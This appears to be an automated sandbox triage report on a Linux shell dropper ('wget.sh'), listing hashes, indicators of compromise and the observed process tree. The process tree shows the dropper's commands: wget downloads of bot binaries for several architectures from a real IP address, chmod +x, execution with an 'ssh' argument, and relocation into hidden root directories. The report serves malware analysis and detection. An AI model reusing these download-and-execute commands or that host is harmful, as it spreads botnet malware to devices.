2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826 | Triage

Analysis

max time kernel
0s
max time network
158s
platform
linux_armhf
resource
debian9-armhf-en-20211208
resource tags

arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09-08-2022 19:06

Sharing

Report Analysis Logs

General

Target

wget.sh
Size

2KB
MD5

9486bdff70b6ec6243b012a91e90c21e
SHA1

2364e70ee0d49e4e641fa7428958f5907a8c26a3
SHA256

2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826
SHA512

e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd

Score

5^/10

Malware Config

Signatures

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

Processes:

mkdirmvmkdir

description	ioc
/proc/375/exe	/proc/375/exe
/proc/filesystems	/proc/filesystems	mkdir
/proc/filesystems	/proc/filesystems	mv
/proc/387/exe	/proc/387/exe
/proc/filesystems	/proc/filesystems	mkdir

Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

wget.sh

description ioc process

/tmp/wget.sh /tmp/wget.sh wget.sh

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Writes file to tmp directory
PID:345

/usr/bin/wget
wget http://109.206.241.211/bins/bot.mips
2⤵
PID:348

/bin/cat
cat bot.mips
2⤵
PID:353

/bin/chmod
chmod +x bot.mips fuwwyowo systemd-private-1470920eed684cbf874e665fe63d153d-systemd-timesyncd.service-tFHa8W wget.sh
2⤵
PID:354

./fuwwyowo
./fuwwyowo ssh
2⤵
PID:355

/usr/bin/wget
wget http://109.206.241.211/bins/bot.mpsl
2⤵
PID:357

/bin/cat
cat bot.mpsl
2⤵
PID:359

/bin/chmod
chmod +x bot.mips bot.mpsl fuwwyowo systemd-private-1470920eed684cbf874e665fe63d153d-systemd-timesyncd.service-tFHa8W wget.sh
2⤵
PID:360

./fuwwyowo
./fuwwyowo ssh
2⤵
PID:361

/usr/bin/wget
wget http://109.206.241.211/bins/bot.arm
2⤵
PID:363

/bin/cat
cat bot.arm
2⤵
PID:365

/bin/chmod
chmod +x bot.arm bot.mips bot.mpsl fuwwyowo systemd-private-1470920eed684cbf874e665fe63d153d-systemd-timesyncd.service-tFHa8W wget.sh
2⤵
PID:366

./fuwwyowo
./fuwwyowo ssh
2⤵
PID:367

/usr/bin/wget
wget http://109.206.241.211/bins/bot.arm5
2⤵
PID:368

/bin/cat
cat bot.arm5
2⤵
PID:370

/bin/chmod
chmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo systemd-private-1470920eed684cbf874e665fe63d153d-systemd-timesyncd.service-tFHa8W wget.sh
2⤵
PID:371

./fuwwyowo
./fuwwyowo ssh
2⤵
PID:372

/usr/bin/wget
wget http://109.206.241.211/bins/bot.arm6
2⤵
PID:374

/bin/cat
cat bot.arm6
2⤵
PID:382

/bin/chmod
chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl fuwwyowo systemd-private-1470920eed684cbf874e665fe63d153d-systemd-timesyncd.service-tFHa8W wget.sh
2⤵
PID:383

./fuwwyowo
./fuwwyowo ssh
2⤵
PID:384

/usr/bin/wget
wget http://109.206.241.211/bins/bot.arm7
2⤵
PID:388

/bin/sh
sh -c "mkdir /0iqz8bz5qf/ && >/0iqz8bz5qf/0iqz8bz5qf && cd /0iqz8bz5qf/ >/dev/null"
1⤵
PID:376

/bin/mkdir
mkdir /0iqz8bz5qf/
2⤵
- Reads runtime system information
PID:377

/bin/sh
sh -c "mv /tmp/fuwwyowo /0iqz8bz5qf/0iqz8bz5qf && chmod 777 /0iqz8bz5qf/0iqz8bz5qf >/dev/null"
1⤵
PID:378

/bin/mv
mv /tmp/fuwwyowo /0iqz8bz5qf/0iqz8bz5qf
2⤵
- Reads runtime system information
PID:379

/bin/chmod
chmod 777 /0iqz8bz5qf/0iqz8bz5qf
2⤵
PID:381

/bin/sh
sh -c "mkdir /3uk3o1hfg9/ && >/3uk3o1hfg9/3uk3o1hfg9 && cd /3uk3o1hfg9/ >/dev/null"
1⤵
PID:389

/bin/mkdir
mkdir /3uk3o1hfg9/
2⤵
- Reads runtime system information
PID:391

/bin/sh
sh -c "mv /tmp/fuwwyowo /3uk3o1hfg9/3uk3o1hfg9 && chmod 777 /3uk3o1hfg9/3uk3o1hfg9 >/dev/null"
1⤵
PID:392

/bin/mv
mv /tmp/fuwwyowo /3uk3o1hfg9/3uk3o1hfg9
2⤵
PID:393

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...